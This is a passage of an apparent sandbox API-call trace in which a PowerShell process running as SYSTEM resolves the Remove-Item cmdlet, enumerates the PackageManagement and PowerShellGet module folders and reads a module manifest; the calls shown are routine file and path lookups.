| out: lpFindFileData=0x1bb7de80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dda8) returned 1 [0274.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dfb8) returned 1 [0274.639] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0274.639] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0274.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de48) returned 1 [0274.639] GetFileAttributesExW (in: lpFileName="C:\\Windows" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e170 | out: lpFileInformation=0x1bb7e170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x571be860, ftLastAccessTime.dwHighDateTime=0x1d7a944, ftLastWriteTime.dwLowDateTime=0x571be860, ftLastWriteTime.dwHighDateTime=0x1d7a944, nFileSizeHigh=0x0, nFileSizeLow=0x4000)) returned 1 [0274.639] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ddf8) returned 1 [0274.639] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0d8) returned 1 [0274.639] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0274.639] GetFullPathNameW (in: lpFileName="C:\\Windows", nBufferLength=0xb, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows", lpFilePart=0x0) returned 0xa [0274.639] FindFirstFileW (in: lpFileName="C:\\Windows\\Remove-Item.*", lpFindFileData=0x1bb7de80 | out: lpFindFileData=0x1bb7de80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dda8) returned 1 [0274.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dfb8) returned 1 [0274.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0274.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0274.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de48) returned 1 [0274.640] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e170 | out: lpFileInformation=0x1bb7e170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb3fd64, ftCreationTime.dwHighDateTime=0x1ca0432, ftLastAccessTime.dwLowDateTime=0x4920d0e0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4920d0e0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x10000)) returned 1 [0274.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ddf8) returned 1 [0274.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0d8) returned 1 [0274.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0274.640] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0274.640] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\Wbem\\Remove-Item.*", lpFindFileData=0x1bb7de80 | out: lpFindFileData=0x1bb7de80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dda8) returned 1 [0274.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dfb8) returned 1 [0274.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0274.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0274.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de48) returned 1 [0274.641] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e170 | out: lpFileInformation=0x1bb7e170*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80093051, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x4952cdc0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x4952cdc0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0274.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ddf8) returned 1 [0274.641] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e0d8) returned 1 [0274.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0274.641] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0274.641] FindFirstFileW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Remove-Item.*", lpFindFileData=0x1bb7de80 | out: lpFindFileData=0x1bb7de80*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0274.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dda8) returned 1 [0274.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7dfb8) returned 1 [0274.650] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x1bb7dff0, nSize=0x90 | out: lpBuffer="") returned 0x77 [0274.656] GetFileAttributesW (lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\WindowsPowerShell\\Modules" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\windowspowershell\\modules")) returned 0xffffffff [0274.707] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0274.724] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0274.724] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0274.725] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0274.725] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada77e0 [0274.726] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.726] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0274.727] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0274.727] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0274.727] FindClose (in: hFindFile=0x1ada77e0 | out: hFindFile=0x1ada77e0) returned 1 [0274.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de08) returned 1 [0274.727] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e028) returned 1 [0274.728] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0274.728] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0274.728] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0274.729] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0274.729] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0274.729] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0274.730] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0274.730] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0274.730] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0274.730] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0274.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0274.731] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0274.731] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0274.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de88) returned 1 [0274.731] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1b0 | out: lpFileInformation=0x1bb7e1b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49aae0a0, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49aae0a0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49aae0a0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0274.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de38) returned 1 [0274.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e108) returned 1 [0274.732] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0274.732] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0274.732] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\*", lpFindFileData=0x1bb7deb0 | out: lpFindFileData=0x1bb7deb0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ada77e0 [0274.732] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49ad4200, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49ad4200, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0274.732] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x49ad4200, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x49b46620, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x49b46620, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1.0.0.1", cAlternateFileName="100~1.1")) returned 1 [0274.733] FindNextFileW (in: hFindFile=0x1ada77e0, lpFindFileData=0x1bb7dee0 | out: lpFindFileData=0x1bb7dee0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0274.733] FindClose (in: hFindFile=0x1ada77e0 | out: hFindFile=0x1ada77e0) returned 1 [0274.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de08) returned 1 [0274.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e028) returned 1 [0274.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0274.733] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0274.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7de98) returned 1 [0274.733] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x1bb7e1c0 | out: lpFileInformation=0x1bb7e1c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0274.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de48) returned 1 [0274.737] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0274.737] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0274.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0274.739] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0274.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ded8) returned 1 [0274.740] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), fInfoLevelId=0x0, lpFileInformation=0x266ca58 | out: lpFileInformation=0x266ca58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x49b46620, ftCreationTime.dwHighDateTime=0x1d73a90, ftLastAccessTime.dwLowDateTime=0x3ea9fba0, ftLastAccessTime.dwHighDateTime=0x1d73a90, ftLastWriteTime.dwLowDateTime=0x3ea9fba0, ftLastWriteTime.dwHighDateTime=0x1d73a90, nFileSizeHigh=0x0, nFileSizeLow=0x8f9)) returned 1 [0274.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7de88) returned 1 [0274.748] GetEnvironmentVariableW (in: lpName="PSModuleAnalysisCachePath", lpBuffer=0x1bb7c100, nSize=0x90 | out: lpBuffer="") returned 0x0 [0274.748] CoTaskMemAlloc (cb=0x20c) returned 0x1adde4e0 [0274.748] SHGetFolderPathW (in: hwnd=0x0, csidl=28, hToken=0x0, dwFlags=0x0, pszPath=0x1adde4e0 | out: pszPath="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local") returned 0x0 [0274.749] CoTaskMemFree (pv=0x1adde4e0) [0274.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x37 [0274.749] GetFullPathNameW (in: lpFileName="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local", nBufferLength=0x37, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local", lpFilePart=0x0) returned 0x36 [0274.750] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0xffffffff [0274.767] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0xffffffff [0274.799] GetFileAttributesW (lpFileName="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Local\\Microsoft\\Windows\\PowerShell\\ModuleAnalysisCache" (normalized: "c:\\windows\\system32\\config\\systemprofile\\appdata\\local\\microsoft\\windows\\powershell\\moduleanalysiscache")) returned 0xffffffff [0274.838] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x5c [0274.838] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", nBufferLength=0x5c, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1", lpFilePart=0x0) returned 0x5b [0274.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7df68) returned 1 [0274.838] CreateFileW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement\\1.0.0.1\\PackageManagement.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement\\1.0.0.1\\packagemanagement.psd1"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x3c8 [0274.838] GetFileType (hFile=0x3c8) returned 0x1 [0274.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7ded8) returned 1 [0274.838] GetFileType (hFile=0x3c8) returned 0x1 [0274.839] GetACP () returned 0x4e4 [0274.851] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x0 [0274.851] ReadFile (in: hFile=0x3c8, lpBuffer=0x266f718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x266f718*, lpNumberOfBytesRead=0x1bb7df78*=0x8f9, lpOverlapped=0x0) returned 1 [0274.854] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x8f9 [0274.854] ReadFile (in: hFile=0x3c8, lpBuffer=0x266eb61, nNumberOfBytesToRead=0x307, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 | out: lpBuffer=0x266eb61*, lpNumberOfBytesRead=0x1bb7df78*=0x0, lpOverlapped=0x0) returned 1 [0274.855] SetFilePointer (in: hFile=0x3c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x1bb7def8*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x1bb7def8*=0) returned 0x8f9 [0274.855] ReadFile (in: hFile=0x3c8, lpBuffer=0x266f718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1bb7df78, lpOverlapped=0x0 